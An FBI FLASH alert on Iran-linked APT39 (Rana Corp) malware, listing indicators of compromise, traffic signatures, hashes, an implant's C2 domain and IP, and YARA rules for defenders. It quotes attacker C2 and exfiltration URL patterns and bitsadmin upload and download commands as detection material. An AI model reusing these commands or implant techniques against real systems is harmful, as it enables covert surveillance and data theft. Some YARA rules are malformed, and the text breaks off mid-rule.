FBI FLASH

FEDERAL BUREAU OF INVESTIGATION, CYBER DIVISION

17 SEP 2020

Alert Number

ME-000134-MW

**Note: This information is being provided by the FBI to assist cyber security specialists protect against the persistent malicious actions of cyber criminals. The information is provided without any guaranty or warranty and is for use at the sole discretion of the recipients.*

The following information is being provided by the FBI, with no guarantees or warranties, for potential use at the sole discretion of recipients in order to protect against cyber threats. This data is provided in order to help cyber security professionals and system administrators to guard against the persistent malicious actions of cyber criminals. This FLASH was coordinated with DHS/CISA and US Treasury.

This FLASH has been released **TLP:WHITE**: Subject to standard copyright rules, **TLP:WHITE** information may be distributed without restriction.

Indicators of Compromise Associated with Rana Intelligence Computing, also known as Advanced Persistent Threat 39, Chafer, Cadelspy, Remexi, and ITG07

Summary

Rana Intelligence Computing Company, also known as Rana Corp, is a Ministry of Intelligence and Security (MOIS) front company in Tehran, Iran that conducts malicious cyber activity. It is known in the public domain as Advanced Persistent Threat (APT) 39, Chafer, Cadelspy, Remexi, and ITG07.

Rana's cyber targeting has been both global in scale and internal to Iran, including hundreds of individuals and entities from more than 30 different countries across Asia, Africa, Europe, and North America. It has targeted more than 15 US companies, primarily in the travel industry, and used this access to track the movements of individuals whom the MOIS considers a threat. It has also targeted foreign citizens, foreign governments, and foreign institutions and companies primarily in the travel, hospitality, academic, and telecommunications industries.

Within Iran, Rana has used malicious intrusion tools to target and monitor Iranian citizens and dissidents on behalf of the MOIS. These include Iranian journalists, former government employees, environmentalists, refugees, university students and faculty, and employees at international nongovernmental organizations. Rana has targeted Iranian private sector companies and academic institutions, including Persian language and cultural centers inside and outside Iran.

In conjunction with Department of Treasury Office of Foreign Assets Control sanctions levied against individuals and entities associated with Rana Corp, the FBI is providing information on numerous malware variants and indicators of compromise (IOCs) associated with Rana to assist organizations and individuals in determining whether they may have been targeted. Representative samples of the malware have also been uploaded to Virus Total for individual analysis.

Technical Details

The FBI identified numerous malware variants used by Rana, derived corresponding IOC signatures, and developed YARA rules to help entities and individuals identify the malware on their networks and systems. Malware samples uploaded to Virus Total for individual analysis are also included below.

Visual Basic Script (VBS) Malware

The FBI identified several malicious VBS scripts used by Rana. The VBS malware was embedded in Microsoft Office documents and sent to victims via spear phishing or other social engineering techniques. Once opened, the Office document deobfuscated and broke out two scripts that perform the following actions:

1. Sets upload/download paths to:
   a. `%userprofile%\appdata\local\Microsoft\Feed\dn`
   b. `%userprofile%\appdata\local\Microsoft\Feed\up`
2. Deobfuscates and creates files named:
   a. `%userprofile%\appdata\local\Microsoft\Feed\[script name].vbs`
   b. `%userprofile%\appdata\local\Microsoft\Feed\tm.ps1`
3. Runs Schedule Task Command to run `[script name].vbs` file with unique/obscure name every 2 minutes. The APT names the scheduled tasks as follows:
   a. `UpdatMachine` and `UpdateMachineG` [The file is likely named a letter followed by numbers, for example: K1234.vbs.]
4. Runs PowerShell, normally under a script named `tm.ps1`
5. The VBS file reaches out to `<actor IP or URL>:port/update.php?req=<victim identifier>`. This request is followed by additional upload or download commands of the form `&m=d, &m=u,` or `&m=b`. We assess the actors use this process to upload/download victim data and/or additional malware. We assess the `d` stands for download, the `u` stands for upload, and the `b` represents a command to download as a .bat file.

Both [script name].vbs and `tm.ps1` work together to upload victim files and execute commands via cmd.exe on a victim machine. PowerShell then downloads regular or batch files from actor controlled IP addresses or domains.

VBS Indicators of Compromise

The FBI derived the below signatures to detect the VBS malware's presence:

- Presence of files located in the following path:
  - %userprofile%\appdata\local\Microsoft\Feed\dn
  - %userprofile%\appdata\local\Microsoft\Feed\up
- Presence of text files starting with a letter name followed by numbers, example K1234.vbs, that had actor infrastructure embedded.
- Unusual scheduled tasks that run every 2 minutes and run the .vbs script. The following scheduled task names: `UpdatMachine` and `UpdateMachineG`.
- The VBS malware traffic samples included:
  - Request: TCP and dport 80 and contains `/update.php?req=`
  - Response: TCP and sport 80 and begins with `GET /update.php?req=(.*)&m=[bdu] HTTP/1.1`
  - Request : TCP and dport 80 and contains `update.php?req=.*&m=d`
  - Response: `MZ.*`

VBS YARA Rules

The FBI developed the following YARA rule for detection of VBS malware:

```
rule vbs_malware {

strings:
$a = "$powIndex=.* ==> .* reminded"
$b = "then .* throw exception"
$c = "then no require padding"
$d = "must be extend to"
$e = "need add padding to reminded"
$f = "& SERVER & \"&m=b','\""
$g = "$sendData = \"(rd|bd)_\".*-minimum 1 -maximum 10000.*"
$h = "$sendData = \"(rne|bne)_\".*Get-Random.*"
$i = "$sendData = \"(rne|bne|rd|bd)_\".*-minimum 1 -maximum 10001.*"
condition:
2 of them

}
```

AutoIt Malware

The FBI identified several malicious AutoIt malware scripts used by Rana. The FBI assesses the AutoIt malware was embedded in Microsoft Office documents or malicious links, and sent to victims via spear phishing or other social engineering techniques. Analysis of the AutoIt malware revealed it was technically very similar in functionality to the above-mentioned VBS malware.

Analysis of the AutoIt malware code revealed the following:

1. When the malware is run, an AutoIt script named `App.au3` executes. This script contains a hardcoded domain that will act as a command and control (C2).
2. The script performs a DNS flush and creates two directories:
    a. `<USER_DIR>\appdata\microsoft\Taskbar\dn`
    b. `<USER_DIR>\appdata\microsoft\Taskbar\up`
3. The script looks for the values `UMe` (called "method"), `UN` (called "rndname"), `UT` (called "lastMethodFinderTime") from the registry key:
    a. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion`
4. The script will write to the registry key:
    a. `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion`, and the following values:
        i. `UMe` : "0" or a method name
        ii. `UN` : size 4 random string
        iii. `UT` : a timestamp
5. This method, which is used for C2, was determined based on one of three methods described below:
    a. Method 1: Selected in the case that the IP returned for the hardcoded server address begins with `65.`. Execute PowerShell command to run `dnip.ps1` file.
    b. Method 2: Selected in the case that an nslookup of the hardcoded server name matches a specific regular expression in the code. Execute PowerShell command to run `dntx.ps1` file.
    c. Method 3: Selected in the case that a successful GET request (results in code 200) occurs to `http://<server address>/update.php`. Execute PowerShell commands very similar to those found in the VBS malware, specifically going to the `update.php?m=b` and `update.php?m=d` for uploading/downloading commands and files.

AutoIt Indicators of Compromise

The FBI derived the below signatures to detect the AutoIT malware's presence:

- Presence of files located in the following path:
    - `%userprofile%\appdata\local\Microsoft\Feed\dn`
    - `%userprofile%\appdata\local\Microsoft\Feed\up`
    - `%userprofile%\appdata\local\Microsoft\Feed\te`
- Modifications to registry key:
    - `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion`

- C2 traffic of the format:
  - http://<server>/update.php?req=<victim identifier>&m=b
  - http://<server>/update.php?req=<victim identifier>&m=d
  - http://<server>/update.php?req=<victim identifier>&m=u
  - http://<server>/update.php?req=<victim identifier>&m=d&b3=1
  - http://<server>/update.php?req=<victim identifier>&m=b&b3=1
  - http://<server>/update.php?req=<victim identifier>&m=u&b3=1

AutoIt YARA Rules

The FBI developed the following YARA rules to detect the AutoIt malware's presence:

```
rule AutoIt_Malware_1 {
strings:
$s1 = "\\appdata\\local\\microsoft\\Taskbar"
$comm2 = "&m=u"
$comm1 = "&m=d"
$comm3 = "&m=b"
$old1 = "dnip.p"
$old2 = "dntx.p"
$new1 = "dntxu"
$new2 = "dnipu"
$regs1 = "HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion"
$regs2 = "UMe"
$regs3 = "UN"
$regs4 = "UT"

condition:
all of ($comm*) and all of ($regs*) and (all of ($old*) or ($new1 and $new2))
and $s1
}
```

```
rule AutoIt_Malware_2 {
strings:
$dns1 = "join ((65..90) + (48..57) + (97..122)"
$dns2 = "upload data host name:"
$dns3 = "get control value and batch & normal file existence"
$dns4 = "check if hostlen is Ok ?"
$dns5 = "\\dn"
$dns6 = "\\up"
$dns7 = "\\te"

condition:
4 of them
}
```

```
rule AutoIt_Malware_3 {
strings:
$s1 = "%dntx.ps1%"
$s2 = "existence regular file"
$url3 = "rne_"
$url4 = "rd_"
$url5 = "bne_"
$url6 = "bd_"
$url7 = "u_"
$s3 = "Software\\Microsoft\\Windows\\CurrentVersion).UN"

condition:
(3 of ($url*)) and 2 of ($s*)
}
```

```
rule AutoIt_Malware_4 {
strings:
$s1 = "%dntxu.ps1%"
$s2 = "\\dnr"
$s3 = "Software\\Microsoft\\Windows\\CurrentVersion).UN"
$s4 = "u_"
$s5 = "upload folder content"

condition:
all of them /
}
```

BITS 1.0 Malware

This malware, identified as `BITS 1.0`, appeared to work in conjunction with the above VBS and AutoIt malware. The VBS and/or AutoIt malware pulled down the BITS 1.0 malware from actor controlled infrastructure for further victimization. In general, the BITS 1.0 malware contained similar functionality, although each variant was slightly different.

Analysis of the BITS 1.0 malware revealed it conducted the following:

1. Installed a dropper that contained two Microsoft CAB files. Observed droppers were named `Bird.exe`, `Reg.exe`, or `natgeo-desktop.exe`.
2. CAB file 1 was empty, and observed as being named `Empty.exe`.
3. CAB file 2 contained two executables, one configuration file, and other files and folders detailed below.
    a. Executable 1: Entitled `Svc.exe` or `events.exe`. This executable accepts multiple commands to include the following: search, update, upload, shell execute, install, uninstall, and more.

   b. Executable 2: Entitled `Splitter.exe`. This executable contains the following functions: mouse capture, screen capture, key logger, and IP configuration.
   c. Configuration file: Located in CAB file 2, is obfuscated using a simple XOR cipher, and contains a ZipPass key. Each target may be assigned a unique cipher and key.
   d. Other files: Log.txt, task.xml, upped.txt. Analysis indicated thatlog.txt logs malware functions, task.xml triggers events.exe to keep running, XPTask.xml runs the scheduled tasks, and upped.txt contains obfuscated logging.
   e. Other folders: Cache000, Cache001, Cache002, Cache003, Cache004, Cache005
4. The two executables worked together to aggregate victim data, encrypt it using the XOR key as a seed, and zip the data using the ZipPass key to password protect the files.
5. The victim data was then transmitted utilizing the Microsoft BITS protocol to actor controlled infrastructure. Executable 1 used a BITS_POST to send victim data to the actor controlled infrastructure. The BITS_POST path and query string has the following format: /asp.asp?ui=[User ID, Persian Calendar Date, MAC Address, Computer Name]. The traffic occurred over port 80 http traffic.

BITS 1.0 Malware Indicators of Compromise

The FBI derived the below signatures to detect the BITS 1.0 malware's presence:

- DNS resolution to obscure IP addresses, specifically 65.65.65.X, 76.76.76.76, and 61.61.X.X.
- Snort rule that alerts on TCP packets to and from any IP/any port to any IP/port on port 80 that contains BITS: `alert tcp any any -> any (sid: 1002351; rev:1; msg."BITS content"; content:"BITS")`
- BITS 1.0 malware traffic samples:
  - Requests TCP and dport80 and contains the string `asp.asp\?ui=`
  - Requests TCP and sport 80 and stream is `NOK`

BITS 1.0 Malware YARA Rules

The FBI developed the following YARA rules to detect the BITS 1.0 malware's presence:

```
rule BITS_1_0_1 {
strings:
$string1 = "putCommandsInReg"
$string2 = "diskFullityCheckRatio:" wide
$string3 = "ipc%s/a%s"
$string4 = "tuplog.txt"
$string5 = "Splitter.exe" wide
$string6 = "KLSource"
$string7 = "classour"
$string8 = "zXapr"
$string9 = "XPTask.vbs" wide
```

```
condition:
3 of them
}
```

```
rule BITS_1_0_2 {
strings:
$a = "Error in LOID Type" wide ascii
$b = "LOID is no-space and no-empty String" wide ascii
$c = "Register By LOID" wide ascii
$d = "Please Input Your LOID" wide ascii
$e = "Please Select a LOID:" wide ascii

condition:
3 of them
}
```

```
rule BITS_1_0_3 {
strings:
$a = "expand.exe" wide ascii nocase
$b = "EmptyProject.exe" wide ascii nocase
$c = "events.exe" wide ascii nocase
$d = "SExe.cab" wide ascii nocase
$e = "HCK.cab" wide ascii nocase

condition:
3 of them
}
```

```
rule BITS_1_0_4 {
strings:
$a = "HCK.cab" wide ascii nocase
$b = "SExe.cab" wide ascii nocase

condition:
1 of them
}
```

```
rule BITS_1_0_5 {
strings:
$a = "nyKTudhkoIfxohEisnZeVaRuY" wide ascii nocase
$b = "readUploadFilesLineByLineAndUpload" wide ascii
$c = "abe2869f-9b47-4cd9-a358-c22904dba7f7" wide ascii
$d = "Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2" wide
ascii
$e = "D:\\Release\\KLSource\\thread_command.c" wide ascii
$f = "YmaxUpFileSizeKByte:" wide ascii
```

```
$g = "readUploadFilesLineByLineAndUpload=>" wide ascii

condition:
3 of them
}
```

```
rule BITS_1_0_6 {
strings:
$a = "config.ini" wide
$b = "YZipPass:" wide
$c = "captureScreenQC:" wide
$d = "captureActiveQC:" wide
$e = "maxUpFileSizeKByte:" wide
$f = "image/jpeg" wide
$g = "S.zip" wide
$h = "upped.txt" wide

condition:
3 of them
}
```

```
rule BITS_1_0_7 {
strings:
$a = "const KSname = \"taskmgr.exe\""
$b = "const VBSName = \"XPTask.vbs\""
$c = "oShell.AppActivate \"schtasks\""
$d = "oshell.sendkeys \"~\""
$e = "\"\\system32\\se-SE\\\""

condition:
3 of them
}
```

```
rule BITS_1_0_8 {
strings:
$a = "/IM bitsadmin.exe /F"
$b = "googleyou"
$c = "/TRANSFER HelpCenterDownload /DOWNLOAD" wide
$d = "downCommand" wide
$e = "/PRIORITY normal" wide
$f = "Cache00"

condition:
4 of them
}
```

BITS 2.0 Malware

The FBI identified a separate variant of the "BITS_1.0" malware referred to as "BITS 2.0." This malware used similar communication channels and techniques as BITS 1.0 detailed previously, however with significant changes in technical details.

The BITS 2.0 malware does the following:

1. BITS 2.0 is a self-extracting executable file containing an image, an icon, a VBS script, and an executable. In one instance, this self-extracting executable file contained two additional files named run.xml and events.log. The following file names were observed:
    a. Self extracting executable named: `final1.exe`
    b. Image name: `Chrysanthemum.jpg` *(This file is a legitimate JPG.)*
    c. VBS script named: `events.vbs`
    d. An executable named: `events.exe`
2. Events.vbs: Creates a scheduled task for persistence and execution. Two scheduled task names have been observed: "Update Windows" (sic) and "Update Windows_<username>". The FBI Observed events.vbs installed in the following target directory:
    a. C:\Users\user\AppData\Local\Microsoft\Events\[events.vbs].
3. Events.exe: Analysis of this file determined it to contain similar functionality to the events.exe detailed in the BITS 1.0 analysis, however it is not the same file. This events.exe has the ability to execute the following commands on the victim machine: Upload and download files, search for a file to upload, and use cmd.exe to execute command line operations on the target machine. Events.exe also works to automatically obtain the following target information: screenshots, clipboard data, and keylogger information. Events.exe listened for incoming commands, turns off the legitimate BITSADMIN process, and bundles the victim data into an encrypted .bak.zak file for exfiltration. Lastly, events.exe exfiltrated the encrypted victim files to the C2. [*Analysis revealed events.exe was functionally equivalent to a combination of the events.exe and splittler.exe detailed in BITS 1.0 analysis.]
4. Target files to C2: Once compromised, the target sends the zipped and encrypted .bak .zak files to the following location on the C2 server:
    a. http://[C2 IP].test.asp.
5. Target beacons to C2: Once compromised, the target sends beacons to the following location on the C2 server:
    a. http://[C2 IP]/checkupdate.asp?uname=[target username]&pid=[target operation name].

BITS 2.0 Indicators of Compromise

The FBI derived the below signatures to detect the BITS 2.0 malware's presence:

- Egresses data to the following:`<url>/test.asp?name=<opname_from_config>_<computer_name>_<mac_address>_<filename>.bak.zak&q=<zipfile data>`
- Traffic used: `bitsadmin.exe 5`
- Does a GET request to: `<url>/checkupdate.asp?uname=<username>&pid=<opname>`

- Modifies registry key:
  - `Software\Microsoft\Internet Explorer\Main`
    - Subkey: `DisableFirstRunCustomize` set to `1`
- Creates a folder: `C:\Users\<username>\AppData\Local\Microsoft\Events` in which `Events.vbs` is placed
- BITS communications:
  - `exe /TRANSFER SecurityCenterUpdate /DOWNLOAD /PRIORITY normal <url><local filepath>`
  - `exe /TRANSFER HelpCenterUpload /UPLOAD /PRIORITY normal <url><local filepath>`
  - URL: `<url>/<opname>_<computer name>_<mac address>_<filename>`
- BITS 2.0 malware traffic samples included:
  - Request : TCP and dport 80 and contains `/test.asp`
  - Response: TCP and sport 80 and stream begins with `name=.*\.*bak\.zak&q=`
  - Response: TCP and stream contains `Rar!.*\.bak\.zak\x0A`

BITS 2.0 YARA Rules

The FBI developed the following YARA rules to detect the BITS 2.0 malware's presence:

```
rule BITS_2_0_1 {
strings:
$a = "checkupdate.asp" wide ascii
$b = "classour" wide ascii
$c = "OKKK" wide ascii
$d = "%s%s.zak" wide ascii
$e = ".rmrm.dat" wide ascii
$f = ".cmcm.dst" wide ascii
$g = "--|||))((++__::" wide ascii

condition:
4 of them
}
```

```
rule BITS_2_0_2 {
strings:
$a = "ID:" wide ascii
$b = "ECODE:" wide ascii
$c = "RTIME:" wide ascii
$d = "UNAME:" wide ascii
$e = "MAC:" wide ascii
$f = "RESP:" wide ascii

condition:
```

```
all of them
}
```

Firefox Malware Overview

The FBI identified malware that was masquerading as legitimate Mozilla Firefox. The malware was entitled `1.exe`, and contained the following files and functionalities:

1. 7z.dll:
    a. MD5 3153abb3ee1acea396b0f7b77c0162c9
    b. Analysis indicates this was a legitimate copy of 7zip
2. autoGetKbd.dll:
    a. MD5 b15196f34a69e6579532c69fefad7ac6
    b. Analysis indicates this was a key logger of unknown origin.
3. autoScreenShot.dll:
    a. MD5 9e98ecf93ca86751dbdb7049f6d24e9b
    b. Analysis indicates this was a screenshot utility of unknown origin.
4. CrachReport.exe:
    a. MD5 fc105956b5b2d33411b2c0e362abb6b3
    b. Analysis indicates this conducts file compression.
5. fort.vbs:
    a. MD5 e169c4d3430c8342d809055dc5f3373e
    b. Analysis indicates this created a shell command to run the SafeBrowser.exe binary.
6. Logging.dll:
    a. MD5 e998fa518523ccc092c4167718b069cb
    b. Analysis indicated that upon running, screenshots are created and dumped to `C:\Users\user\AppData\Local\MozillaFirefox\Cache`. These are encrypted with a password. Keylogs current window information are created and dumped to `C:\Users\user\AppData\Local\MozillaFirefox\Extensions`. In the folder `C:\Users\user\AppData\Local\MozillaFirefox\Config`
    c. Two files are created: `1.txt` and `2.txt`. File 1.txt contains what appears to be a formatted date string: `2018_6_12_11_31_32`. File 2.txt contains a string of numbers: `5759153778925404000`.
7. MozillaFirefox.exe:
    a. MD5 3f3f39bacfe115df5b55c9ab06b93aeb
    b. Analysis indicated this executable pretends to be legitimate Firefox, but is not. Does file egress for some of the paths listed above.
8. MozillaSciencedent.vbs:

   a. MD5 d661d2dd1c28efd4b4f7c9c70f763354
   b. Analysis indicated this created a shell command to run MozillaFirefox.exe binary.
9. MozillaUpdate.exe:
   a. MD5 54c166c313c684eaa54c0c861cc34987
   b. Analysis indicated this was similar to MozillaFirefox.exe and logging.dll.
10. SafeBrowser.exe:
   a. MD5 dbc67d46cb7b6aa7406c979b248421c4
   b. Analysis indicated this created a scheduled task to run a task named Mozillafox which appears to be MozillaFirefox.exe.

Mozilla Firefox Indicators of Compromise

The FBI derived the below signatures to detect the Mozilla Firefox malware's presence:

- Two files created in `C:\Users\user\AppData\Local\MozillaFirefox\Config`
  - txt: Contains formatted date string
  - txt: Contains randomly generated numerical string
- `C:\Users\user\AppData\Local\MozillaFirefox\Cache` (contains screenshot data)
- `C:\Users\user\AppData\Local\MozillaFirefox\Extensions` (contains keylogs)
- FTP traffic that matches the following: u_ex<number>-<numerical string>-<year>_<month>_<day>_<hour>_<minute>_<second>.gzn

Mozilla Firefox YARA Rules

The FBI developed the below YARA rules to detect the Mozilla Firefox malware's presence:

```
rule Firefox_1 {
strings:
$string1 = "Mozilla\\fort.vbs" wide ascii nocase
$string2 = "Main Returned." wide ascii nocase
$string3 = "\\Mozilla\\ReadMe.txt" wide ascii nocase
$string4 = "Mozillafox" wide ascii nocase
$string5 = "MozillaSciencedent.vbs" wide ascii nocase
$string6 = "MozillaFirefox.exe" wide ascii nocase
$string7 = "Hello World" wide ascii nocase
$a9 = "C:\\Users\\RS01212M\\AppData\\Roaming\\generator\\proj1-
FTPCenter\\FTPCenter\\Release\\Task.pdb" wide ascii nocase

condition:
4 of them
}
```

```
rule Firefox_2 {
```

```
strings:
$a1 = "autoGetKbd.dll" wide ascii nocase
$a2 = "autoScreenShot.dll" wide ascii nocase
$a3 = "ConfigPath" wide ascii nocase
$a4 = "savingToOldFolder" wide ascii nocase
$a5 = "Logging.dll" wide ascii nocase
$a6 = "taskmgr.exe" wide ascii nocase
$a7 =
"C:\\Users\\RS01212M\\AppData\\Roaming\\generator\\Proj1\\autoGetKbd\\Release\\
MyApplication.pdb" wide ascii nocase

condition:
4 of them
}
```

```
rule Firefox_3 {
strings:
$a1 = "task notopen" wide ascii nocase
$a2 = "tske open" wide ascii nocase
$a3 = "\\MozillaFirefox\\SystemExtensionsDev\\" wide ascii nocase
$a4 = "MozillaUpdate.exe" wide ascii nocase
$a5 = "147!@#Asad" wide ascii nocase
$a6 = "Send!" wide ascii nocase
$a7 = "MozillaFirefox\\Cache\\" wide ascii nocase
$a8 = "ftp" wide ascii nocase
$a9 = "C:\\Users\\RS01212M\\AppData\\Roaming\\generator\\proj1-
FTPCenter\\FTPCenter\\Release\\FTPCenter.pdb" wide ascii nocase

condition:
4 of them
}
```

```
rule Firefox_4 {
strings:
$a1 = "1.txt" wide ascii nocase
$a2 = "2.txt" wide ascii nocase
$a3 = "CrachReport.exe" wide ascii nocase
$a4 = "MuttiSSDERF23" wide ascii nocase
$a5 = "\\MozillaFirefox\\SystemExtensionsDev\\" wide ascii nocase
$a6 = "MozillaFirefox\\Config" wide ascii nocase
$a7 = "\\MozillaFirefox\\SystemExtensionsDev\\u_ex" wide ascii nocase
$a8 = "Logging.dll" wide ascii nocase
$a9 =
"C:\\Users\\RS01212M\\AppData\\Roaming\\generator\\Proj1\\autoGetKbd\\Release\\
Logging.pdb" wide ascii nocase
```

```
condition:
4 of them
}
```

```
rule Firefox_5 {
strings:
$a1 = "CrachReport.exe" wide ascii nocase
$a2 = "u_ex" wide ascii nocase
$a3 = "Hello World" wide ascii nocase
$a4 = ".gzn" wide ascii nocase
$a5 = "--PICE--" wide ascii nocase
$a6 = "--PICS--" wide ascii nocase
$a7 = "\\MozillaFirefox\\Cache" wide ascii nocase
$a9 = "Logging.dll" wide ascii nocase
$a10 =
"C:\\Users\\RS01212M\\AppData\\Roaming\\generator\\Proj1\\autoGetKbd\\Release\\
autoScreenShot.pdb" wide ascii nocase

condition:
4 of them
}
```

```
rule Firefox_6 {
strings:
$string = "RS01212M" wide ascii nocase

condition:
all of them
}
```

Python-Based Malware Overview/Analysis

The FBI identified a Python-based malware used by Rana. The Python-based malware was normally contained in a `.rar` file, which also contained a script named `ma.py`. When run, the file conducted a HTTP GET request to a command and control server conforming to `[Actor IP]/service.html`. This GET request then downloaded additional malicious files to the victim machine. The file directed additional files from the command and control server to be written out as: `C:\\Windows\\Temp\\ImageVeiwer.exe`. The file also directed ImageVeiwer.exe to be run at system reboot.
The file ma.py contained a comment in the code that stated "# BTW This is working only on windows."
Malware traffic signatures:

TCP and dport=80 and stream starts with `err0701`

Python-Based Malware YARA Rules

The FBI developed the following YARA rules to detect the Python-based malware's presence:

```
rule Python_1 {
strings:
$string1 = "ImageVeiwer"
$hex_string2 = { E2 80 AE }
$string3 = "ma.py"
$string4 = "tipe exit to end it"
$string5 = "BTW This is working only on windows"

condition:
3 of them
}
```

```
rule Python_2 {
strings:
$string1 = "ma.exe.manifest"

condition:
all of them
}
```

```
rule Python_3 {
strings:
$string1 = "modules['mails']"
$string2 = "tedtools"
$string3 = "thunderbird"
$string4 = "Drive letter should be a letter between A and Z"
condition:
3 of them
}
```

```
rule Python_4 {
strings:
$string1 = "x86_64-posix-sjlj"
$string2 = "tedtools"
$string3 = "teddumper"
$string4 = "teddumper.exe.manifest"

condition:
3 of them
```

Android Malware Overview/Analysis

The FBI identified Android malware used by Rana named `optimizer.apk`. This Android Package (APK) supported several different functionalities that indicated it to be a malware implant for Android devices.

Malware metadata	
Filename	`Optimizer.apk`
Package Name	`com.android.providers.optimizer and com.android.providers.optimizer-1`
Last Modification/ Compile Date:	`12/24/2018, 05:46`
File Type:	`Android Package Kit / Android Application Package (APK)`
File Size:	`185.6 KB`
MD5:	`426351383DFE8F88A0959A9D5E8C43C7`
SHA1:	`0C23F62BA98EBFA2C062C485E5704F193909E421`
SHA256:	`A1481B251328B50D268B815DEBD614F539039E6E7012C90B66DAEE717712D524`
Entropy:	`7.966`

Certificate:	`Serial Number: 763faa62`
	`Valid from: Sun Dec 23 18:47:57 EST 2018`
	`Until: Mon Sep 25 19:47:57 EDT 2073`
	`Certificate Fingerprints:`
	`MD5: 7C:B5:E0:3A:4F:A2:7F:E1:0E:9A:81:A2:66:66:1F:6C`
	`SHA1:`
	`C4:D9:9E:F0:CB:CF:CA:B4:0A:B9:BE:4F:5A:68:5A:DC:00:6E:8D:49`
	`SHA256:`
	`53:1F:74:0C:51:9A:BD:1B:96:0F:E4:FF:E2:39:E3:DC:23:5C:99:41:D0:`
	`D1:21:12:65:57:B3:CD:85:43:B0:D0`

The APK implant was a variant of Android malware. The implant was coded to communicate with a C2 Server, `saveingone.com` (domain saveingone.com previously resolved to the Iranian IP address `185.165.116.47`). The APK implant had information stealing and remote access functionality which gained root access on an Android device without the user's knowledge. The main capabilities include retrieving HTTP GET requests from the C2 server (typically updates or commands for the device), obtaining device data, compressing and AES-encrypting the collected data, and sending it via HTTP POST requests to the malicious C2 server. The APK implant also had permissions to record audio and take photos, using the microphone and camera on the compromised device.

The Optimizer APK implant was decompressed and contained the following folders/files: `lib, META-INF, res, AndroidManifest.xml, classes.dex`, and resources.arsc. The

AndroidManifest.xml file listed the SDK versions the Optimizer implant required: minimum 8, target 22, and maximum 23.
The file classes.dex contained binary Dalvik bytecode, which was originally the Java source code compiled to run inside a Dalvik Virtual Machine on an Android device. The file classes.dex was converted to Smali language for a more readable format, then converted to Java source code with the open-source tools Dex2jar and Androguard. This file defined four packages, 185 classes, 570 methods, and referenced 1,068 methods once converted to Java source code.
The APK implant collected detailed device data and sends the data in AES-encrypted zip files to the C2 as HTTP POST requests which is covered in the Dynamic Analysis section below. It was evident that the code was configured to collect specific device information. The following code snippets display collected device data, HTTP requests, and encryption method:
The package shares, class ai, and method a, or shares .ai.a, comprises code that makes up an HTTP POST request that is used by the implant to send obtained device data to the malicious C2 server. The package a, class m, method a, or a.m.a, contained a 96-byte string that appeared to be a base64-encoded key. Upon further analysis, the Optimizer APK implant did not use the string "JXsItS7…" in a.m.a. The a.aj.a and a.al.a methods contained encryption mechanisms using the AES/ECB/PKCS5 padding cipher to encrypt and decrypt data contained APK's res folder files and collected device information. The a.a.a method contained mechanisms which used base64-decoding, UTF-8, and the AES cipher in a.aj.a. The code also calls the configuration file cng.cn that is located in the APK's res/raw folder.

The file libOptimizer.so contained within the APK file path \Optimizer\lib\x86\, contained the encryption key for the malware's network communication in the form of a stack string which was manually created and stored in package a, class m, and method a (a.m.a). The variables of the key are defined in the .so file starting at functions doAll and as.StartService. The "JXsITS7JIWI..." string initially found in the same a.m.a method during static analysis is a decoy and is not referenced during runtime.

The file libOptimizer.so also built the filename tmp.tmp, which was originally stored in the APK's res/raw folder. Then the functions fopen and fclose were used to open the file tmp.tmp contents. The contents of tmp.tmp appeared to be binary. Both of the files libOptimizer.so and tmp.tmp were identified as being loaded onto the device during dynamic analysis. The functionality of the loaded tmp.tmp contents was not determined.

Dynamic analysis was conducted on the Optimizer APK implant, including running the implant on an emulated Android device and debugging/reverse-engineering. Analysis concluded that the implant's main functionality was to retrieve updates or commands from the C2 saveingone.com through HTTP GET requests and to collect device information, which was transmitted to the C2 in AES-encrypted zip files.

Upon initial installation, the Optimizer APK implant did not generate an application (app) icon that was visible on the android emulator's Apps screen. The API Platforms 19, 22, and 26, were used to deploy the APK implant onto the emulator device. The App settings for the APK implant did not provide an option to

Force Stop or Uninstall the application. The APK implant did not start any services or processes upon installation, only after the device was rebooted did the APK start and maintain persistence in the infected device.

When the emulator device was rebooted after installation, the Optimizer APK implant app initiated an instance of itself on the device with three running processes:

- `Optimizer (com.android.providers.optimizer)`
- `Android Core Apps (android.process.acore)`
- `Calendar Storage (com.android.providers.calendar)`

and two running services:

- `Optimizer (Started by app)`
- `Helper (Started by app)`

The device administrative (admin) privileges settings contained an option to give the Optimizer implant the ability to, `Monitor screen-unlock attempts`.

The following steps can be followed on an Android device to detect if the Optimizer implant application was running on a device: `Settings -> Apps -> Running`. The implant sent a Domain Name Service (DNS) request to resolve the C2 domain, `saveingone.com`. Then HTTP GET requests were formed to retrieve an unidentified type of data from the malicious C2. Finally, the implant used HTTP POST requests to send AES-encrypted zipped data to the C2. The POST requests were coded into a loop and continuously collected the device data.

The Optimizer APK implant created several folders on the device and saved the HTTP POST requests contents locally. The folders and files can be found on the device image named `userdata-qemu.img`, at directory path: `Root ->Data -> com.android.providers.optimizer -> files`. The HTTP POSTS requests were saved into the `upsls` folder in this instance. The resource files were also loaded on the device, and the `libOptimizer.so` file mentioned earlier was present on the device at directory path: `Root ->app-lib -> com.android.providers.optimizer-1`.

The configured Optimizer APK implant code used decoys to thwart reverse-engineering of the implant such as the "JXsITS7JIWItp…" string stored statically in `a.m.a`. The decoy string only acts as a place holder to store the new 96-byte base64 string "aEpAayM4V..." built in the libOptimizer.so file. Before the encryption method begins in `a.a.a`, the value it calls in `a.m.a` contains the 96-byte "aEpAayM4V…" string. That 96-byte string is then base64-decoded to a 72-byte key "hJ@k#8V%}H*&Yds2..." and stored into the variable 1, `a.m.a`,. Only the first 16-bytes of the generated 72-byte key is required AES-decrypt the configuration file `cng.cn`. The `cng.cn` file contains an additional 72-byte key within which is the "e2&njk%Nsfn&*Ysd…" used to AES-decrypt the compressed zip files sent via HTTP POST requests to the malicious C2 server. The key

also decrypts a file in the res/raw folder named `odr.od`, along with other files generated and saved onto the Android device by the implant.

Android Malware YARA Rules

The FBI developed the following YARA rules to detect the Android malware's presence:

```
rule APK_Optimizer_1 {
meta:
description = "Optimizer APK Malware"
hash1 = "426351383DFE8F88A0959A9D5E8C43C7" /* MD5 */
hash2 = "0C23F62BA98EBFA2C062C485E5704F193909E421" /* SHA1 */
category = "Android Application Package Malware"

strings:
$x1 =
